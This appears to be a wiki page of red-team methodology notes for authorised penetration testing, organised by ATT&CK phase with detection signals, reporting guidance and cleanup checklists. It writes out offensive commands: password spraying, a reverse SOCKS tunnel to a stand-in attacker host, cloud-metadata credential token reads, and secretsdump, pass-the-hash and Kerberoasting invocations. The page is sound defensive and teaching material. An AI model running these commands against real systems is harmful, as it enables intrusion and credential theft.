# Red team

> Technique notes for authorised offensive testing, arranged by ATT&CK phase, with the tooling and the telemetry each step leaves behind.

Canonical: https://wiki.jodisand.me/redteam/
Reviewed: 2026-09-27
Related: [FreeIPA / Red Hat IdM](https://wiki.jodisand.me/idm/index.md), [AWS](https://wiki.jodisand.me/aws/index.md), [Kubernetes](https://wiki.jodisand.me/kubernetes/index.md), [DNS](https://wiki.jodisand.me/dns/index.md)


> [!CAUTION] Authorised testing only
> Use these against systems you own or have a signed scope and rules of engagement for. Everything here is loud in some way; the detection column is what a defender should see, and if they do not, that finding is worth more than the access. Destructive impact techniques and antivirus-disabling recipes are deliberately out of scope on this page.

## Cheatsheet

| Task | Command |
| --- | --- |
| Subdomains, passive | `subfinder -d example.com -silent` |
| Resolve and probe | `httpx -l hosts.txt -sc -title -tech-detect` |
| Port sweep, fast | `nmap -sS -Pn --top-ports 1000 --min-rate 2000 -oA scan 10.0.0.0/24` |
| Service and version detail | `nmap -sV -sC -p 22,80,443 target -oA svc` |
| Web content discovery | `ffuf -u https://target/FUZZ -w list.txt -mc 200,301,403` |
| SMB enumeration | `netexec smb 10.0.0.0/24 -u '' -p '' --shares` |
| LDAP enumeration | `ldapsearch -x -H ldap://dc-01 -b 'dc=example,dc=com'` |
| Kerberos user list | `kerbrute userenum -d example.com users.txt` |
| Hash cracking | `hashcat -m 13100 hashes.txt rockyou.txt` |
| Credential spray, slow | `netexec smb dc-01 -u users.txt -p 'Season2025!' --continue-on-success` |
| Local privesc checks | `linpeas.sh`, `winPEASx64.exe` |
| AD attack paths | BloodHound with `SharpHound`/`bloodhound-python` |
| SOCKS through a host | `chisel client attacker:8080 R:socks` |
| Route tools through it | `proxychains4 -q nmap -sT -Pn target` |

## Ground rules

Scope, time window, and escalation contact in writing before the first packet. Log everything you run with timestamps. The client's detection team needs to correlate, and you need to prove what you did and did not do.

Prefer the quietest technique that answers the question. Noise is a finding when nobody notices it and a liability when someone does.

| Discipline | Practice |
| --- | --- |
| Deconfliction | Timestamped command log, attacker source addresses shared with the blue team |
| Data handling | Screenshot proof, not bulk data exfiltration; store evidence encrypted |
| Credentials | Never reuse client credentials outside the engagement; destroy at report delivery |
| Blast radius | No denial of service, no destructive changes, no production data modification |
| Cleanup | Remove implants, accounts and scheduled tasks; list them in the report regardless |

## Engagement workflow

Treat the engagement as a controlled change to someone else's environment. The technical work sits inside an evidence trail: written authority, a reconciled target set, a timestamped activity log, detection checks, cleanup, and retesting. If any of those are missing, pause before increasing access.

| Gate | Ready when | Stop when |
| --- | --- | --- |
| Authority | The signed scope names the assets, test window, permitted techniques and authoriser | An asset, tenant or technique is ambiguous |
| Safety | Backups, fragile systems, rate limits and emergency contacts are known | Availability degrades or monitoring reports an unexpected effect |
| Targets | Every address, hostname, account and cloud identifier resolves to the current allow-list | Discovery crosses into a supplier, shared tenant or excluded range |
| Evidence | Clocks are synchronised and commands, output, screenshots and hashes have a storage location | Evidence would contain unnecessary personal, regulated or secret data |
| Detection | The blue team knows the tester source addresses and deconfliction process | A possible real intrusion cannot be distinguished from the exercise |
| Exit | Credentials, infrastructure, files and configuration changes have named owners and cleanup checks | Any artefact cannot be accounted for |

### Suggested workspace

Keep scope separate from tool output and keep raw evidence immutable after collection. Do not put plaintext credentials in this tree.

```text
engagement/
├── scope/
│   ├── in-scope.txt          # one CIDR, IP or hostname per line
│   ├── exclusions.txt        # exclusions always win
│   └── rules-of-engagement.md
├── evidence/
│   ├── raw/                  # original command output
│   ├── screenshots/
│   ├── index.jsonl           # one metadata record per command
│   └── SHA256SUMS
├── notes/
│   ├── timeline.tsv
│   └── cleanup.tsv
├── findings/
└── report/
```

Before testing, record the UTC clock, egress addresses, resolver, VPN route and tool versions. This small baseline explains many apparent inconsistencies later.

```sh
date -u +%FT%TZ
ip -brief address
ip route
resolvectl status
nmap --version | head -n 1
```

Use a separate test identity where the objective allows it. Grant only the access needed for the scenario and set an expiry before handing the account to the operator. A test that depends on permanent administrator access proves little about the real attack path.

## Scoping and authorisation

The authorisation document is the engagement. It names the legal entity granting permission, the person with authority to grant it, the exact assets in scope, the assets explicitly out of scope, the test window, and the actions that require a stop-and-call rather than proceeding. Nothing starts before it is signed by someone who can actually authorise it; a project manager forwarding an email is not that person. For anything hosted by a third party (cloud provider, SaaS, managed DNS) confirm whether the provider's own rules require separate notification, because the client cannot authorise testing of infrastructure they do not own.

Turn the written scope into a machine-readable allow-list before the first scan, so a fat-fingered CIDR cannot stray. Keep in-scope ranges, out-of-scope ranges and the current date window in one file that every tool and wrapper reads. Re-validate every target against it at run time, not just once at the start.

| Scope artefact | What it pins down |
| --- | --- |
| In-scope networks | CIDRs, hostnames and cloud account IDs that may be touched |
| Explicit exclusions | Production databases, third-party tenants, executive endpoints, anything fragile |
| Test window | Start and end timestamps, allowed hours, blackout periods |
| Rules of engagement | Permitted techniques, social-engineering limits, data-handling rules |
| Escalation contacts | Who to call on a suspected real breach, a system falling over, or a safety concern |
| Deconfliction channel | How the blue team distinguishes your traffic from a genuine intrusion |

Two failure modes dominate real engagements: testing something out of scope because the target list was never reconciled against the exclusions, and a control the client thought existed being absent, so a routine action has an outsized effect. Both are prevented by the same habit, reading the current scope file before every action and stopping the moment reality diverges from the brief.

The rules of engagement also protect the tester. They record that each action was authorised, which is the difference between a penetration test and a computer-misuse offence. Keep the signed document, the scope file and the command log together; they are the evidence that the work stayed inside the grant.

## Reconnaissance

| Technique | Command | Detection signal |
| --- | --- | --- |
| Passive subdomains | `subfinder -d example.com -all -silent` | None; certificate transparency and public sources |
| Certificate transparency | `curl -s 'https://crt.sh/?q=%25.example.com&output=json' \| jq -r '.[].name_value' \| sort -u` | None |
| DNS zone data | `dig axfr example.com @ns1.example.com` | Zone transfer attempt logged by the [DNS](https://wiki.jodisand.me/dns/) server |
| Live web hosts | `httpx -l hosts.txt -sc -title -tech-detect -o web.txt` | Web access logs, unusual user agent |
| Port discovery | `nmap -sS -Pn --min-rate 2000 -p- target` | IDS scan signatures, firewall connection counts |
| Service fingerprint | `nmap -sV -sC -p- --open target` | Banner grabs, versioned probes |
| Content discovery | `ffuf -u https://target/FUZZ -w raft-medium.txt -mc all -fc 404` | 404 flood in web logs, WAF rate limits |
| Cloud asset discovery | `cloud_enum -k example` | Provider access logs, bucket access denied events |
| Credential exposure | Public breach data, `git log -S 'password'` in cloned repositories | None externally |

```sh
subfinder -d example.com -silent | httpx -silent -sc -title -tech-detect | tee web.txt
nmap -iL hosts.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA sweep
nuclei -l web.txt -severity high,critical -o findings.txt
```

## Initial access

| Vector | Notes | Detection signal |
| --- | --- | --- |
| Exposed service with a known CVE | Verify the version before firing anything | Exploit signature, service crash, patch-level mismatch |
| Default or reused credentials | Spray slowly, respect lockout policy | Failed logon bursts (4625), lockouts |
| Exposed admin interfaces | Jenkins, Grafana, Kibana, Docker API, Kubernetes API | Unusual source address on a management port |
| Phishing (if in scope) | Payload and pretext agreed in writing beforehand | Mail gateway logs, attachment detonation, user report |
| Supply chain of your own tooling | Out of scope for almost every engagement | None |

```sh
# Spray with lockout awareness: one password, all users, then wait
netexec smb dc-01.example.com -u users.txt -p 'Winter2025!' --continue-on-success --no-bruteforce
```

Password spraying is the most common way in and the easiest to detect: a single password against many accounts produces a distinctive burst of 4625 events across the domain. If nobody alerts, that is the finding.

Read the domain's lockout threshold, reset interval and exclusions before any credential test. Use dedicated test accounts where the objective is control validation rather than account discovery. Record each attempted account and expected event count so the blue team can distinguish missing telemetry from missing alerts.

## Web and API testing

Start with the application's trust boundaries: unauthenticated users, ordinary users, administrators, service identities, background jobs and upstream integrations. Build an endpoint inventory from browser traffic, API specifications, JavaScript bundles and proxy history, then test authorisation by changing one variable at a time.

| Area | Test | Evidence to retain |
| --- | --- | --- |
| Object authorisation | Request another test user's object with the same role, then a different role | Both requests and responses with tokens redacted |
| Function authorisation | Call an administrative route as a lower-privileged test identity | Route, method, identity and status code |
| Session handling | Reuse a session after logout, password reset and role removal | Session issue time, invalidation action and result |
| Input handling | Send a harmless marker through each parser and encoding boundary | Exact request, parser behaviour and downstream location |
| File handling | Upload mismatched extension, media type and file signature using inert content | Stored name, served headers and processing result |
| Rate controls | Increase requests gradually within the agreed ceiling | Request rate, response codes and server-side alert time |
| Outbound requests | Point URL-import features at an engagement-controlled canary endpoint | Canary request metadata; never target link-local metadata without approval |
| GraphQL | Compare schema access, field-level authorisation, aliases and batch limits | Query, variables, identity and response |

Use replayable request files instead of screenshots alone. They make retesting exact and let reviewers remove secrets before the report is distributed.

```sh
# Request and response headers, timing and body are saved separately.
curl --fail-with-body --silent --show-error \
  --dump-header evidence/raw/profile.headers \
  --output evidence/raw/profile.body \
  --write-out '%{json}\n' \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  'https://app.example.com/api/profile' \
  > evidence/raw/profile.transfer.json

# Compare response structure without copying volatile values into the report.
jq -S 'del(.request_id, .generated_at)' evidence/raw/user-a.json > evidence/raw/user-a.normalised.json
jq -S 'del(.request_id, .generated_at)' evidence/raw/user-b.json > evidence/raw/user-b.normalised.json
diff -u evidence/raw/user-a.normalised.json evidence/raw/user-b.normalised.json
```

Do not place bearer tokens directly in shell history. Load short-lived test credentials from a protected file descriptor or a credential manager, redact them from captured requests, and revoke them during cleanup.

## Execution and persistence

| Technique | Where | Detection signal |
| --- | --- | --- |
| Scheduled task / cron | `schtasks /create`, `crontab -e` | Task creation events (4698), `/var/log/cron` |
| systemd unit or timer | `/etc/systemd/system/*.service` | New unit files, `systemd-analyze` diffs |
| Service creation | `sc.exe create` | 7045 service installed |
| Run key | `HKCU\...\Run` | Registry autorun monitoring |
| SSH authorized_keys | Append a key to a service account | File integrity monitoring, key fingerprint audit |
| Container or cluster | CronJob, mutating webhook, privileged DaemonSet | Kubernetes audit log, admission controller |
| CI/CD | Pipeline step or self-hosted runner | Pipeline definition diff, runner registration |

Test dangerous [Kubernetes](https://wiki.jodisand.me/kubernetes/) admission paths without starting a privileged workload. Server-side dry-run exercises authentication, authorisation, admission and schema validation without persisting the object.

```sh
kubectl auth can-i create pods --subresource=exec -n app
kubectl auth can-i create clusterrolebindings
kubectl apply --server-side --dry-run=server -f privileged-pod-test.yaml
```

The test manifest should request one forbidden property at a time, such as `hostPID`, a `hostPath` volume or `securityContext.privileged`. A rejection identifies the exact enforcing control. An unexpected acceptance is evidence of an admission gap; do not remove `--dry-run=server` without explicit approval. Kubernetes documents that [`--dry-run=server`](https://kubernetes.io/docs/reference/kubectl/generated/kubectl_apply/) submits the request through the server without persisting the resource.

## Privilege escalation

| Check | Command | Why it works |
| --- | --- | --- |
| Sudo rules | `sudo -l` | Misconfigured `NOPASSWD` on an interpreter or editor |
| SUID binaries | `find / -perm -4000 -type f 2>/dev/null` | Unexpected SUID with a shell escape (GTFOBins) |
| Writable service units | `find /etc/systemd -writable 2>/dev/null` | Root executes what you can edit |
| Capabilities | `getcap -r / 2>/dev/null` | `cap_setuid`, `cap_dac_override` on a binary |
| Cron jobs | `cat /etc/crontab; ls -la /etc/cron.*` | Writable script or wildcard injection |
| Kernel version | `uname -a` and known exploits | Unpatched local privilege escalation |
| Container escape | `cat /proc/1/cgroup`, check for `privileged`, hostPath, docker socket | The socket is root on the host |
| Cloud metadata | `curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/` | Instance role often over-permissioned |
| Windows service paths | `wmic service get name,pathname` | Unquoted paths, writable binaries |
| Token privileges | `whoami /priv` | `SeImpersonate` leads to well-known escalations |

```sh
linpeas.sh -a 2>&1 | tee linpeas.txt        # noisy but thorough; expect EDR to notice
sudo -l
find / -perm -4000 -type f 2>/dev/null
curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
```

IMDSv2 ([AWS](https://wiki.jodisand.me/aws/)) requires a token acquired with a `PUT` request and then supplied in a header. That blocks many simple SSRF paths, but not every server-side request primitive. Test the actual method and header controls, hop limit and workload permissions rather than downgrading the finding solely because IMDSv2 is enabled.

## Credential access

| Source | Technique | Detection signal |
| --- | --- | --- |
| Kerberos service tickets | Kerberoasting: `GetUserSPNs.py -request` | 4769 for RC4 tickets, unusual SPN requests |
| Accounts without preauth | AS-REP roasting: `GetNPUsers.py` | 4768 with preauth disabled |
| LSASS memory | Dump and parse offline | EDR alert on process access to lsass.exe |
| SAM / SYSTEM hives | `reg save` then `secretsdump.py LOCAL` | Registry hive save events |
| NTDS.dit | `ntdsutil` snapshot, or `secretsdump.py -just-dc` | DCSync replication from a non-DC (4662) |
| Linux shadow file | Requires root already | File access auditing |
| Cloud credentials | `~/.aws/credentials`, environment, instance role | CloudTrail credential use from a new address |
| Application secrets | `.env`, CI variables, unencrypted state files | Secret scanning, access to state buckets |

Request only the minimum artefact needed to demonstrate the control gap. For Kerberoasting, a ticket for a dedicated test SPN can prove exposure and exercise event 4769 without collecting production service-account material. For replication rights, inspect the directory ACL first and use a dedicated canary account if the rules permit an active validation. Do not retrieve `krbtgt`, NTDS or LSASS material merely to prove that excessive rights exist.

DCSync behaviour from anything that is not a domain controller is a high-value detection opportunity; the same principle applies to replication privileges around FreeIPA and [IdM](https://wiki.jodisand.me/idm/). Record the source, canary object, expected directory event and alert time.

## Discovery and lateral movement

| Technique | Command | Detection signal |
| --- | --- | --- |
| Domain mapping | `bloodhound-python -d example.com -u u -p p -c All` | Heavy LDAP queries from one host |
| Share enumeration | `netexec smb 10.0.0.0/24 -u u -p p --shares` | Mass SMB session setups |
| Interesting files | `netexec smb targets -u u -p p -M spider_plus` | File server access spike |
| Pass the hash | `netexec smb target -u admin -H <nthash>` | NTLM logon type 3 from an unusual host |
| Pass the ticket | `export KRB5CCNAME=ticket.ccache; psexec.py -k -no-pass` | Ticket use from a new source |
| WMI / WinRM execution | `wmiexec.py`, `evil-winrm -i host -u u -H hash` | 4688 process creation, WinRM logs |
| SSH pivoting | `ssh -J bastion target`, agent forwarding abuse | Auth logs, unusual jump patterns |
| Tunnelling | `chisel server -p 8080 --reverse`, then `R:socks` | Long-lived outbound connections to an unknown host |

```sh
chisel server -p 8080 --reverse &                       # attacker
chisel client attacker.example:8080 R:socks             # foothold
proxychains4 -q netexec smb 10.10.0.0/24 -u u -p p
```

Lateral movement is where most engagements are caught, and where most are not caught but should be. Record the exact time of each hop so the client can measure detection latency.

## Cloud control-plane testing

Cloud testing starts with identity and organisation boundaries, not network scanning. Confirm the account, subscription or project IDs in scope and capture the caller identity before every session. Shared services, marketplace images, managed control planes and customer data may belong to another legal entity even when they appear in the client's console.

| Question | Read-only evidence | Common failure |
| --- | --- | --- |
| Who am I? | Caller identity, tenant and account identifiers | Testing from the wrong cached profile |
| What can this identity reach? | Attached policies, role trust and access-analysis results | Wildcards hidden across several policies |
| Can guardrails be bypassed? | Organisation policy, SCP or management-group assignment | Guardrail exists but misses a child account |
| Where can credentials originate? | Workload identity, instance profile, CI federation and key inventory | Long-lived key where federation is available |
| Is activity visible? | Audit-trail status, destinations, retention and a canary event | Logging enabled in only one region |
| Can data leave? | Bucket policy, public-access controls and egress policy | Resource policy overrides the expected identity policy |

```sh
# Pin the expected identity before collecting anything else.
aws sts get-caller-identity
az account show --query '{tenant:tenantId,subscription:id,user:user.name}' -o json
gcloud config list account project --format=json

# Prefer policy simulation and access analysis over changing a resource.
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:role/TestRole \
  --action-names s3:GetObject \
  --resource-arns arn:aws:s3:::engagement-canary/*
```

The [IAM policy simulator](https://docs.aws.amazon.com/cli/latest/reference/iam/simulate-principal-policy.html) does not perform the requested operation, but its result can differ from the live environment and it does not automatically include every resource policy. Treat it as evidence about identity policies, not proof of effective access.

Store cloud output as JSON and retain the request identity with it. Resource names alone are ambiguous across accounts. If a scenario needs a write, create a tagged canary resource with a short expiry and record its identifier in the cleanup ledger before creation.

## Kubernetes and container platforms

Collect the current context, API server and namespace before any query. RBAC answers depend on the identity and namespace, while admission answers depend on the complete object.

```sh
kubectl config current-context
kubectl auth whoami -o json
kubectl auth can-i --list -n app
kubectl get --raw='/version'
```

Focus on paths that cross a trust boundary: workload identity to cloud API, pod to node, namespace to namespace, registry to deployment, and CI identity to cluster administrator. Check these properties without reading Secret values:

| Boundary | Read-only or dry-run check |
| --- | --- |
| RBAC | `kubectl auth can-i` for impersonation, bind, escalate, secrets and pod subresources |
| Pod security | Server-side dry-run of one restricted field at a time |
| Network policy | Test pods and canary endpoints agreed with the platform owner |
| Service accounts | Automount settings, projected-token audience and expiry, cloud-role binding |
| Node exposure | Workloads using `hostPath`, host namespaces, privileged mode or runtime sockets |
| Supply chain | Image digest pinning, signature policy, registry write access and admission result |
| Audit | Presence of create, exec, attach, port-forward and RBAC change events in the SIEM |

Avoid broad YAML exports. They often collect Secret data and unrelated tenant configuration. Request named fields with `-o custom-columns`, JSONPath or `jq`, and save the command beside the output.

## Command and control

| Choice | Trade-off |
| --- | --- |
| HTTPS beacon with long jitter | Blends with normal traffic; slow interaction |
| DNS | Works where nothing else does; very noisy to a resolver that logs |
| Cloud service as redirector | Reputation of a trusted domain; provider terms may prohibit it |
| Direct shell | Simple, immediate, trivially detected |

Agree the C2 infrastructure with the client in advance, including the domains and addresses, so their detection team can confirm what they should have seen afterwards. Egress filtering, TLS inspection and DNS logging are the three controls being tested here.

## Exfiltration testing

Demonstrate the path with canary data, not with the client's real data. A file of known marker strings proves the control gap without creating a breach of your own.

| Channel | Control being tested |
| --- | --- |
| HTTPS POST to an external host | Egress filtering, TLS inspection, DLP |
| DNS queries | DNS logging and exfiltration detection |
| Cloud storage upload | Egress allow-lists, provider-side DLP |
| Email attachment | Mail DLP |

Generate a unique, non-sensitive canary so every observation can be attributed to the engagement. Agree its size and classification with the data owner.

```sh
marker="RT-$(date -u +%Y%m%dT%H%M%SZ)-$(openssl rand -hex 8)"
printf '%s\n' "$marker" | tee evidence/raw/exfil-canary.txt
sha256sum evidence/raw/exfil-canary.txt
```

Start with the smallest object and one transfer. Record the protocol, destination, expected control, observed control and bytes sent. Stop after proving the path. Do not increase volume to make an alert fire unless volume testing and its ceiling are written into the rules of engagement.

## Detection validation

A red-team action without a detection expectation measures only prevention. Before each scenario, write down the event source, fields that identify the activity, expected correlation and maximum acceptable response time. Afterwards, reconcile operator time with source-event time, ingestion time, alert time and analyst action.

```text
2026-09-27T01:12:03Z  operator  Started one-password spray from 192.0.2.20
2026-09-27T01:12:05Z  source    First 4625 recorded by dc-01
2026-09-27T01:13:11Z  ingest    Event searchable in SIEM
2026-09-27T01:14:02Z  alert     Password-spray rule opened alert RT-184
2026-09-27T01:18:40Z  response  Analyst contacted exercise controller
```

This distinguishes four different failures: the source did not log, forwarding lost the event, detection logic missed it, or response did not act. Report the failing layer rather than saying only "no alert".

| Result | Meaning | Report action |
| --- | --- | --- |
| Prevented and alerted | Preventive and detective controls worked | Record evidence and tune only if noisy |
| Prevented, no alert | Attack failed but defenders lack visibility | Detection finding or improvement |
| Allowed and alerted | Exposure exists but monitoring worked | Remediate exposure and preserve the detection |
| Allowed, no alert | Both preventive and detective controls failed | Prioritise by reachable impact |

## Reporting

A finding without impact and a fix is trivia. For each one record: what you did, when, from where, what it proved, what the business consequence is, and the smallest change that closes it. Include the detection timeline: which steps were alerted on, which were not, and how long each took.

Order by exploitability and impact, not by CVSS alone. A medium-severity issue on a path to domain admin outranks a critical on an isolated host.

A useful report is built as you go, not written at the end from memory. Structure each finding the same way so the reader can triage quickly:

| Field | Content |
| --- | --- |
| Title | The weakness in one line, phrased as the problem, not the tool |
| Severity | Impact and likelihood combined, with the reasoning, not a bare CVSS number |
| Affected assets | The exact hosts, URLs or accounts, matched to the scope file |
| Evidence | Timestamped commands, request and response, screenshots with the clock visible |
| Impact | The business consequence in the client's terms, not the technical mechanism |
| Remediation | The smallest change that closes it, and the strategic fix if different |
| Detection | Whether the step was alerted on, and how long detection took |

The detection timeline is often the most valuable part of the deliverable. Pair every technique with the telemetry it should have produced (the detection columns above), then record for each whether an alert fired, when, and who acted. A gap where a loud action went unnoticed is a finding in its own right, frequently more actionable than the vulnerability that enabled the action. Deliver the report over an encrypted channel, walk the client through it live, and destroy the working data and any harvested credentials once it is accepted.

### Worked finding

```md
## Users can read another tenant's invoices

**Severity:** High. An authenticated user can retrieve invoices belonging to another tenant by changing the invoice identifier. Identifiers are exposed in normal application traffic, and invoices contain names, addresses and payment history.

**Affected asset:** `https://app.example.com/api/invoices/{id}`

**Evidence:** At 2026-09-27T02:14:31Z, test user A requested its own invoice `INV-TEST-A` and received HTTP 200. The same session requested test user B's `INV-TEST-B` and received HTTP 200 with B's canary record. Evidence files `request-a.txt`, `request-b.txt` and their SHA-256 hashes accompany this report. Tokens and personal data were redacted.

**Cause:** The handler verifies that the caller is authenticated but does not constrain the invoice query by the caller's tenant ID.

**Remediation:** Derive the tenant from the validated server-side session and include it in the invoice lookup. Return the same not-found response for missing and unauthorised objects. Add an integration test covering two tenants.

**Detection:** The requests appeared in access logs. No alert is expected for a single request; monitor repeated cross-tenant lookup failures after the authorisation check is added.

**Retest:** Repeat both requests with the original identities. User A should receive its invoice and receive the documented not-found response for B's.
```

The evidence proves one boundary crossing with synthetic records. It does not enumerate other tenants or claim every endpoint is affected. Keep conclusions inside the evidence.

## Cleanup and retesting

Create the cleanup ledger before creating the first artefact. Every account, key, role, file, task, rule, domain, redirector, canary resource and configuration change needs an owner, creation time, removal method and verification result.

```text
created_at<TAB>type<TAB>identifier<TAB>owner<TAB>remove_command<TAB>status<TAB>verified_at
2026-09-27T00:30:00Z<TAB>account<TAB>rt-canary-01<TAB>operator<TAB>ticket CHG-1842<TAB>pending<TAB>
```

Do not put secrets or executable payloads in the ledger. For changes owned by the client, reference the approved change ticket rather than embedding a privileged command. During closeout:

1. Stop test traffic and disable engagement infrastructure.
2. Revoke issued sessions, API keys, certificates and test credentials.
3. Remove or hand back every ledger entry and have a second person verify the result.
4. Confirm monitoring suppressions and temporary allow-list entries have expired.
5. Generate and sign the evidence manifest, then transfer the agreed deliverables.
6. Destroy working copies and credential material according to the retention agreement.
7. Record exceptions with an owner and due date. An unchecked cleanup item is an open risk.

Retesting should reproduce the original precondition and request, verify the fix, then test the nearest variants. Record application version, control version and test identity. Mark a finding closed only when the original path fails for the expected reason and legitimate behaviour still works.

| Retest result | Use when |
| --- | --- |
| Remediated | The original path and close variants are blocked by the intended control |
| Partially remediated | The path changed, but a variant or another affected asset remains |
| Not remediated | The original reproduction still succeeds |
| Not retested | Access, environment or evidence is insufficient; state the blocker |

## Tooling reference

Reach for maintained, well-documented tools rather than one-off scripts; the client can then reproduce a finding, and the tool's own documentation carries the current syntax. Verify versions at the start of the engagement, because option names drift.

| Area | Tools | Purpose |
| --- | --- | --- |
| Passive recon | `subfinder`, `amass`, `crt.sh`, `dnsx` | Enumerate names without touching the target |
| Active recon | `nmap`, `masscan`, `httpx`, `naabu` | Port, service and web-surface discovery |
| Web surface | `ffuf`, `feroxbuster`, `katana`, `nuclei` | Content discovery and templated checks |
| Directory / AD mapping | `BloodHound`, `SharpHound`, `bloodhound-python`, `ldapsearch` | Read-only relationship and privilege mapping |
| Credential auditing | `hashcat`, `john` | Offline strength testing of hashes you are authorised to hold |
| Access verification | `netexec`, `impacket`, `kerbrute` | Confirm which credentials work where |
| Local posture checks | `linpeas`, `winpeas`, `pspy` | Enumerate local misconfiguration (noisy; expect EDR) |
| Pivoting | `chisel`, `ligolo-ng`, `sshuttle`, `proxychains` | Route authorised tooling through a foothold |
| Cloud posture | `prowler`, `scoutsuite`, `pmapper`, `cloud_enum` | Read-only misconfiguration and IAM path review |
| Reporting | `nmap-to-*` parsers, `dradis`, note templates | Turn scan output into structured findings |

Prefer the read-only mode of any tool that has one, prefer official documentation over blog copy-paste for syntax, and record the exact command and version for every result so a finding can be reproduced. The [ATT&CK](https://attack.mitre.org/) catalogue and the [PTES](http://www.pentest-standard.org/) and [OWASP WSTG](https://owasp.org/www-project-web-security-testing-guide/) methodologies give the vocabulary and phase structure the report should follow.

## Troubleshooting

| Symptom | Cause | Fix |
| --- | --- | --- |
| `proxychains` connections hang or time out | UDP or ICMP sent through a TCP-only SOCKS tunnel (`nmap -sS`, `ping`) | Use TCP connect scans (`nmap -sT -Pn`) through the proxy; SOCKS carries TCP only |
| `nmap` shows every port open or filtered | A firewall or IPS is tarpitting, or the host is behind a load balancer | Slow down (`--max-rate`), confirm with `-sT` to a known-open port, check from another source |
| `nmap` misses hosts that are up | Default host discovery blocked by ICMP filtering | `-Pn` to skip discovery, or `-PS`/`-PA` against ports likely to be allowed |
| Credential spray triggers lockouts | Attempt rate above the account lockout threshold | One password per round, wait past the observation window; read the policy from the domain first |
| `netexec` or `impacket` fails with `KRB_AP_ERR_SKEW` | Clock skew over five minutes to the KDC | Sync the attacking host's clock to the target's time source; see [IdM](https://wiki.jodisand.me/idm/#kerberos-tickets) |
| Kerberos tooling fails with `KDC_ERR_S_PRINCIPAL_UNKNOWN` | Wrong SPN or wrong realm casing in the request | Confirm the exact principal; realm is upper-case, host part lower-case |
| `ldapsearch` returns `operations error` against AD | Anonymous bind refused; authentication required | Bind with in-scope credentials (`-D`/`-w` or `-Y GSSAPI` with a ticket) |
| BloodHound collection incomplete | Collector could not reach every DC, or lacked read on some objects | Run with a valid ticket, target each DC, use `-c All`; it needs only read access |
| Tool cannot resolve internal names through a pivot | DNS not tunnelled with the SOCKS proxy | Point the tool at an internal resolver over the proxy, or use `proxychains` with `proxy_dns` |
| Findings not reproducible later | Command, version or source address not recorded | Log every command with a timestamp (see the wrapper in Scripts); pin tool versions |
| Uncertain whether a target is in scope | Scope not reconciled against exclusions | Stop; check the scope file; when still unclear, ask the escalation contact before proceeding |

## Oneliners

Reconnaissance, scope hygiene and evidence handling only. Everything here is passive or read-only, or an engagement-management helper; run active commands only against assets in the signed scope.

```sh
# Passive subdomains, deduplicated, from certificate transparency and public sources
subfinder -d example.com -all -silent | sort -u

# Certificate transparency names for a domain (no packets to the target)
curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -u

# Which discovered names actually resolve, and to what
dnsx -l names.txt -a -resp -silent

# Live web hosts with status, title and detected technology, saved for the report
httpx -l hosts.txt -sc -title -tech-detect -o web-surface.txt

# Reverse-DNS a CIDR to spot naming conventions before any active scan
for ip in 192.0.2.{1..254}; do n=$(dig +short -x "$ip"); [[ -n $n ]] && printf '%s\t%s\n' "$ip" "$n"; done

# Confirm a single target is inside the in-scope allow-list before touching it
grep -qxF "$TARGET" scope/in-scope.txt && echo 'in scope' || echo 'OUT OF SCOPE - stop'

# Expand in-scope CIDRs to a flat host list the tooling can consume
while read -r c; do nmap -sL -n "$c" 2>/dev/null | awk '/Nmap scan report/ {print $NF}'; done < scope/in-scope-cidrs.txt > scope/hosts.txt

# Remove any excluded address from a target list before scanning
grep -vxF -f scope/exclusions.txt scope/hosts.txt > scope/targets.txt

# Are we inside the authorised test window right now
now=$(date -u +%s); [[ $now -ge $(date -u -d "$WINDOW_START" +%s) && $now -le $(date -u -d "$WINDOW_END" +%s) ]] && echo 'within window' || echo 'OUTSIDE window'

# Top-1000 TCP sweep of in-scope hosts, all output formats, for the record
nmap -iL scope/targets.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA evidence/sweep-$(date +%FT%H%M)

# Re-run only the services found open, for version detail
nmap -iL scope/targets.txt -sV -sC -p "$(awk -F/ '/open/ {print $1}' evidence/sweep-*.gnmap | sort -un | paste -sd,)" -oA evidence/services

# Templated safety and misconfiguration checks at high severity only
nuclei -l web-surface.txt -severity high,critical -o evidence/nuclei-$(date +%F).txt

# Content discovery excluding 404s, rate-limited to be polite
ffuf -u https://target/FUZZ -w wordlist.txt -mc all -fc 404 -rate 50 -o evidence/ffuf.json

# Read-only AD relationship collection with a valid ticket (needs only read access)
bloodhound-python -d example.com -u recon -p "$PASS" -c All -ns 192.0.2.10 --zip

# LDAP enumeration of the domain naming context with in-scope credentials
ldapsearch -x -H ldap://dc-01.example.com -D 'recon@example.com' -w "$PASS" -b 'dc=example,dc=com' '(objectClass=user)' sAMAccountName

# Hash the attacking host's source IPs so the blue team can filter deconfliction traffic
ip -4 -o addr show | awk '{print $4}' | tee evidence/attacker-source-ips.txt

# Timestamped, appended command log for the whole engagement
log() { printf '%s\t%s\n' "$(date -u +%FT%TZ)" "$*" >> evidence/commands.log; "$@"; }

# Screenshot proof of a web finding with the URL and time captured in the filename
gowitness single "https://target/path" -P evidence/screens/

# Count unique open ports across the sweep for a coverage summary
awk -F/ '/open/ {print $1}' evidence/sweep-*.gnmap | sort -un | wc -l

# Diff two sweeps to show what changed between test days
diff <(sort evidence/sweep-day1.gnmap) <(sort evidence/sweep-day2.gnmap)

# Extract host:port:service into a CSV the report generator reads
awk '/Ports:/ {host=$2; for (i=1;i<=NF;i++) if ($i ~ /open/) print host","$i}' evidence/services.gnmap

# Encrypt the evidence directory at rest before it leaves the test host
tar -cz evidence/ | age -r "$CLIENT_AGE_PUBKEY" > evidence-$(date +%F).tar.gz.age

# Verify TLS certificate details on an in-scope endpoint (see the TLS page for more)
openssl s_client -connect target.example.com:443 -servername target.example.com </dev/null 2>/dev/null | openssl x509 -noout -subject -dates

# Confirm cloud metadata protection on an in-scope instance (IMDSv1 reachable is a finding; see AWS)
curl -s --max-time 3 http://169.254.169.254/latest/meta-data/ -o /dev/null -w '%{http_code}\n'

# List scheduled tasks and services you may have created, to reconcile against cleanup
{ crontab -l 2>/dev/null; systemctl list-unit-files --state=enabled; } | grep -i "$ENGAGEMENT_TAG" || echo 'none tagged'

# Wordlist of just the hostnames from discovered web surface, for further passive lookups
